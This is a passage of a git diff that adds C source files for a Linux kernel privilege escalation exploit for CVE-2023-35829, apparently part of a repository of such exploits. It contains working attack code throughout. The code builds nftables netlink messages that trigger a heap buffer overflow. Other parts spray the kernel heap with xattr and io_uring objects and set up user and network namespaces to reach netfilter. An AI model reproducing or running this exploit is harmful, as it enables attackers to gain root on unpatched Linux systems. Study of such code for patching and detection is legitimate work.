set + * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache + * @data_len: Length of stored data. Used to control the size of the overflow + * @table_name: Name of the table that stores this set + * @id: ID of the created set + */ +void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) { + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct nlmsghdr *nlh_batch_begin; + struct nlmsghdr *nlh_payload; + struct nlmsghdr *nlh_batch_end; + struct nfgenmsg *nfm; + struct nlattr *attr; + uint64_t nlh_payload_size; + struct iovec iov[3]; + + /* Prepare the netlink sockaddr for msg */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + + /* First netlink message: batch_begin */ + nlh_batch_begin = get_batch_begin_nlmsg(); + + /* Second netlink message : Set attributes */ + nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN + nlh_payload_size = NLMSG_SPACE(nlh_payload_size); + + /** Allocation **/ + nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); + if (!nlh_payload) + do_error_exit("malloc"); + + memset(nlh_payload, 0, nlh_payload_size); + + /** Fill the required fields **/ + nlh_payload->nlmsg_len = nlh_payload_size; + nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; + nlh_payload->nlmsg_pid = getpid(); + nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; + nlh_payload->nlmsg_seq = 0; + + + /** Setup the nfgenmsg **/ + nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); + nfm->nfgen_family = NFPROTO_INET; + + /** Setup the attributes */ + attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); + attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name); + attr = set_str8_attr(attr, NFTA_SET_NAME, set_name); + attr = set_u32_attr(attr, NFTA_SET_ID, id); + attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen); + attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP); + attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0); + set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len); + + /* Last netlink message: batch_end */ + nlh_batch_end = get_batch_end_nlmsg(); + + /* Setup the iovec */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh_batch_begin; + iov[0].iov_len = nlh_batch_begin->nlmsg_len; + iov[1].iov_base = (void *)nlh_payload; + iov[1].iov_len = nlh_payload->nlmsg_len; + iov[2].iov_base = (void *)nlh_batch_end; + iov[2].iov_len = nlh_batch_end->nlmsg_len; + + /* Prepare the message to send */ + memset(&msg, 0, sizeof(struct msghdr)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 3; + + /* Send message */ + sendmsg(sock, &msg, 0); + + /* Free allocated memory */ + free(nlh_batch_end); + free(nlh_payload); + free(nlh_batch_begin); +} + +/** + * add_elem_to_set(): Trigger the heap buffer overflow + * @sock: Socket used to communicate throught the netfilter netlink + * @set_name: Name of the set to add the element + * @set_keylen: Length of the keys of the previous set + * @table_name: Table associated to the preiv + * @id: ID of the previous set + * @data_len: Length of the data to copy. (= Size of the overflow - 16 ) + * @data: Data used for the overflow + * + * Submit two elements to add to the set. + * The first one is used to setup the data payload + * The second will trigger the overflow + */ +void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) { + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct nlmsghdr *nlh_batch_begin; + struct nlmsghdr *nlh_payload; + struct nlmsghdr *nlh_batch_end; + struct nfgenmsg *nfm; + struct nlattr *attr; + uint64_t nlh_payload_size; + uint64_t nested_attr_size; + size_t first_element_size; + size_t second_element_size; + struct iovec iov[3]; + + /* Prepare the netlink sockaddr for msg */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + + /* First netlink message: batch */ + nlh_batch_begin = get_batch_begin_nlmsg(); + + /* Second netlink message : Set attributes */ + + /** Precompute the size of the nested field **/ + nested_attr_size = 0; + + /*** First element ***/ + nested_attr_size += sizeof(struct nlattr); // Englobing attribute + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY + nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA + nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE + first_element_size = nested_attr_size; + + /*** Second element ***/ + nested_attr_size += sizeof(struct nlattr); // Englobing attribute + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY + nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA + nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT + nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE + second_element_size = nested_attr_size - first_element_size; + + nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory + nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS + nlh_payload_size += nested_attr_size; // All the stuff described above + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID + nlh_payload_size = NLMSG_SPACE(nlh_payload_size); + + /** Allocation **/ + nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); + if (!nlh_payload) { + do_error_exit("malloc"); + } + memset(nlh_payload, 0, nlh_payload_size); + + /** Fill the required fields **/ + nlh_payload->nlmsg_len = nlh_payload_size; + nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; + nlh_payload->nlmsg_pid = getpid(); + nlh_payload->nlmsg_flags = NLM_F_REQUEST; + nlh_payload->nlmsg_seq = 0; + + /** Setup the nfgenmsg **/ + nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); + nfm->nfgen_family = NFPROTO_INET; + + /** Setup the attributes */ + attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); + attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name); + attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name); + attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id); + attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size); + + /*** First element ***/ + attr = set_nested_attr(attr, 0, first_element_size - 4); + attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); + attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len)); + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len); + + /*** Second element ***/ + attr = set_nested_attr(attr, 0, second_element_size - 4); + attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); + attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr)); + attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE); + set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE); + + /* Last netlink message: End of batch */ + nlh_batch_end = get_batch_end_nlmsg(); + + /* Setup the iovec */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh_batch_begin; + iov[0].iov_len = nlh_batch_begin->nlmsg_len; + iov[1].iov_base = (void *)nlh_payload; + iov[1].iov_len = nlh_payload->nlmsg_len; + iov[2].iov_base = (void *)nlh_batch_end; + iov[2].iov_len = nlh_batch_end->nlmsg_len; + + /* Prepare the message to send */ + memset(&msg, 0, sizeof(struct msghdr)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 3; + + /* Send message */ + sendmsg(sock, &msg, 0); + + /* Free allocated memory */ + free(nlh_batch_end); + free(nlh_payload); + free(nlh_batch_begin); +} diff --git a/98-Linux提权/CVE-2023-35829/src/simple_xattr.c b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c new file mode 100644 index 0000000..1c4f0e1 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "log.h" +#include "simple_xattr.h" + +/** + * spray_simple_xattr(): Spray the heap with `simple_xattr` objects + * @spray_size: Number of objects to put into `kmalloc-64` + */ +void spray_simple_xattr(char *filename, uint32_t spray_size) { + + char attribute_name[ATTRIBUTE_NAME_LEN]; + + /* Mount a new tmpfs to be able to set security xattr */ + if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST) + do_error_exit("mkdir"); + + if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1) + { + do_error_exit("mount"); + } + /* Create a file to the set attributes */ + int fd = creat(filename, 0644); + close(fd); + + for (uint64_t i = 0; i < spray_size; i++) { + /* Need that the name is allocated within `kmalloc-256` */ + snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME); + create_xattr(filename, attribute_name); + } +} + +/** + * create_xattr(): Add an xattribute to a file with the value "value" + * @filename: Name of the concerned file + * @attribute_name: Attribute name + */ +void create_xattr(const char *filename, char *attribute_name) { + + if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0) + do_error_exit("setxattr"); +} diff --git a/98-Linux提权/CVE-2023-35829/src/uring.c b/98-Linux提权/CVE-2023-35829/src/uring.c new file mode 100644 index 0000000..1f8e3d6 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/uring.c @@ -0,0 +1,46 @@ +#include +#include +#include +#include +#include +#include + +#include "uring.h" +#include "log.h" +#include "util.h" + +/** + * spray_uring(): Spray different caches of the kernel heap + * @spray_size: Size to spray + * @fd_buffer: Buffer used to store information about the allocated objects + * + * This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects + */ +void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { + + for (uint64_t i = 0; i < spray_size; i++) { + + fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); + if (!fd_buffer[i].params) + do_error_exit("malloc"); + memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); + + fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); + if (fd_buffer[i].fd < 0) + do_error_exit("io_uring_create"); + + } +} + +/** + * release_uring(): Release percpu_ref_data objects allocated + * @fd_buffer: Buffer that stores io_ring_ctx fds + * @buffer_size: Size of the previous buffer + */ +void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) { + + for (uint32_t i = 0; i < buffer_size; i++) { + close(fd_buffer[i].fd); + } + free(fd_buffer); +} diff --git a/98-Linux提权/CVE-2023-35829/src/util.c b/98-Linux提权/CVE-2023-35829/src/util.c new file mode 100644 index 0000000..2cee577 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/util.c @@ -0,0 +1,80 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include "log.h" +#include "util.h" + +/** + * write_file(): Write a string into a file + * @filename: File to write + * @text: Text to write + */ +void write_file(const char *filename, char *text) { + + int fd = open(filename, O_RDWR); + + write(fd, text, strlen(text)); + close(fd); +} + +/** + * new_ns(): Change the current namespace to access to netfilter and + * to be able to write security xattr in a tmpfs + */ +void new_ns(void) { + + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) + do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)"); + + if (unshare(CLONE_NEWNET)) + do_error_exit("unshare(CLONE_NEWNET)"); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +/** + * set_cpu_affinity(): Pin a process to a CPU + * @cpu_n: CPU to use + * @pid: pid of the process to attach + */ +void set_cpu_affinity(int cpu_n, pid_t pid) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu_n, &set); + + if (sched_setaffinity(pid, sizeof(set), &set) < 0) + do_error_exit("sched_setaffinity"); +} + +/** + * generate_tmp_filename(): Generate a filename to be used with + * the xattr spray + * + * Return: New generated filename + */ +char *generate_tmp_filename(void) { + static char buffer[FILENAME_MAX_LEN]; + static uint64_t counter = 0; + + snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter); + counter++; + + return buffer; +}